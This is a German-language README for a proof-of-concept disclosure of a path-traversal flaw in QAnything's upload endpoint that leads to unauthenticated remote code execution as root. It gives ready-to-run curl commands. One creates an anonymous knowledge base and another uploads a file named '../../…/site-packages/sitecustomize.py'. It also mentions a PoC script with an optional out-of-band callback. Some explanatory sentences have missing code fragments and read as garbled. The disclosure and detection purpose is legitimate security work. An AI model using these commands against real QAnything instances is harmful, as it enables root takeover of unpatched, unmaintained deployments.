
PoC und Lab-Reproduktion für CVE-2026-88533, ein unauthentifizierter beliebiger Dateischreibvorgang, der über Path Traversal im Upload-Endpunkt zu Root-RCE in QAnything führt.
CVE-ID: CVE-2026-88533 (von MITRE zugewiesen, Veröffentlichung des Eintrags ausstehend)
Produkt: QAnything von netease-youdao — Open-Source-RAG-/Wissensdatenbank-QA-Plattform
Betroffen: v1.4.x bis v2.0.0 (Standardbranch qanything-v2, bis zum letzten Commit 65de104)
Behobene Version: keine — Projekt seit 2025-03-12 nicht mehr gepflegt; der einzige Sanitization-Fix (PR #483) liegt auf dem Legacy-Branch master und wurde nie in qanything-v2 gemergt
Schwachstelle: CWE-22 Path Traversal
Auswirkung: Unauthentifizierte beliebige Dateierstellung → Remote Code Execution als uid=0(root)
Entdecker: Yankui Li
Der Datei-Upload-Endpunkt übernimmt den vom Angreifer kontrollierten Multipart- und verwendet ihn als Zielpfad, ohne Pfadtrenner zu bereinigen. expandiert zurück zu , die Filterung von Vollbreitenzeichen und die Längenbegrenzung lassen und absolute Pfade intakt, und . Das daraus resultierende schreibt angreiferkontrollierten Inhalt überall dorthin, wo der Prozess Zugriff hat — standardmäßig innerhalb eines -Containers.
POST /api/local_doc_qa/upload_filesfilenameurllib.parse.unquote()%2f/../os.path.join(base, name)name absolut istopen(file_location, "wb")rootDa das Produkt nirgends eine Authentifizierung erfordert (user_id/user_info sind einfache
Request-Parameter), akzeptiert jede über das Netzwerk erreichbare Instanz dies anonym.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Zwei Eigenschaften machen dies zuverlässig ausnutzbar:
../ nötig.%2e%2e%2f überlebt, weil unquote vor jedem Filter läuft.Ein Härtungskontrast innerhalb derselben Codebasis: Der Endpunkt upload_faqs ersetzt / durch _ in
Dateinamen. upload_files erhielt diese Behandlung nie, was ihn zum einzigen Schreibvektor macht.
Hinweis: LocalFile.__init__ hat einen if not os.path.exists(file_location)-Guard, sodass nur neue
Dateien erstellt werden können — bestehende Dateien können nicht überschrieben werden. Die Ausnutzung
zielt daher auf neue Dateien an ausführbaren Orten ab.
Das offizielle Docker-Image führt das Python-Backend als root aus. CPython importiert beim Start des
Interpreters automatisch sitecustomize.py aus site-packages — eine neu abgelegte Datei unter:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relativ oder absoluter Pfad) wird beim nächsten Start des Backends importiert und führt
Angreifercode als uid=0(root) aus.
Warum
site-packagesund nicht das App-Verzeichnis? CPython führtsite.pyaus, bevorsys.path[0]eingefügt wird, sodass einesitecustomize.pyneben dem Einstiegsskript nicht automatisch importiert wird.site-packagesist die einzige zuverlässige Ablagestelle.
Andere Vektoren wurden getestet und ausgeschlossen (der Vollständigkeit halber dokumentiert):
/etc/cron.d/ — Verzeichnis existiert und akzeptiert Schreibzugriffe, aber das Image enthält keinen
Cron-Daemon, sodass nichts jemals die Payload ausführt.Offizielles Image + gepinnter verwundbarer Quellcode (Commit 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
Das PoC-Skript liegt in diesem Repository (poc_qanything_cve_2026_88533.py) — jeder
unten aufgeführte Beleg wurde durch Ausführen gegen den obigen Lab-Stack erzeugt. Klonen und
reproduzieren Sie die exakte Ausgabe selbst:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full startet den Zielcontainer einmal neu (dokumentiertes Verhalten; der CPython-Import
erfolgt beim Start). Alles ist standardmäßig sicher: keine Reverse Shell, keine destruktive
Payload — die Demo-Payload schreibt eine Marker-Datei mit der Ausgabe von id.
Der gesamte Angriff besteht aus zwei HTTP-POSTs; darauf sollte Detection-Content matchen
(der Multipart-filename, der einen absoluten Pfad oder ..//%2f-Sequenzen enthält, ist das
entscheidende Signal):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Alle unten aufgeführten Belege sind die tatsächliche Terminal-Ausgabe von
poc_qanything_cve_2026_88533.py (dem Skript in diesem Repository), ausgeführt gegen den
Lab-Stack, der aus docker-compose-lab.yaml erstellt wurde. Kein Schritt wurde gefälscht oder
simuliert — das Skript beendet sich mit einem Nicht-Null-Exitcode, sofern nicht jede Prüfung
besteht, sodass Sie die Kette selbst Ende-zu-Ende verifizieren können.
Lab-Stack — offizielles Image + minimale Abhängigkeiten, alle Container healthy:

--mode check — unauthentifizierte Schreibprimitive bestätigt: Der Marker wurde außerhalb
des Upload-Verzeichnisses über einen Multipart-Dateinamen mit absolutem Pfad geschrieben und
aus dem Container heraus zurückgelesen:

--mode full — nach dem Neustart des Containers importiert CPython automatisch die
platzierte sitecustomize.py; der Marker der Payload beweist die Ausführung als uid=0(root):

Das vollständige Terminal-Transkript des oben gezeigten --mode full-Laufs ist ebenfalls
wortgetreu enthalten: evidence/full-chain-run-2026-09-18.log —
6/6 Prüfungen [OK], Urteil RCE CONFIRMED, Payload-Marker, der uid=0(root) mit einem
Zeitstempel belegt (die nonce/kb_id-Werte im Log werden pro Lauf zufällig generiert, daher
wird Ihr eigener Lauf abweichen — das ist zu erwarten).
Ein Screenshot der CVE-Eintragsseite wird hinzugefügt, sobald der Eintrag veröffentlicht ist.
| Datum | Ereignis |
|---|---|
| 2026-08-25 | Schwachstelle entdeckt; Schreibprimitive gegen eine Live-Instanz verifiziert (harmloser Marker + Read-back) |
| 2026-08-29 | Vollständige RCE-Kette in einem isolierten lokalen Lab reproduziert; Bericht verfasst; an MITRE (CNA-LR) über cveform übermittelt |
| 2026-09-18 | CVE-2026-88533 von MITRE zugewiesen |
| TBD | CVE-Eintrag veröffentlicht; dieses Repository und ein detaillierter Write-up veröffentlicht |
Dieses Material wird für Defensivforschung und Bildungszwecke veröffentlicht. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben. Siehe DISCLAIMER.md.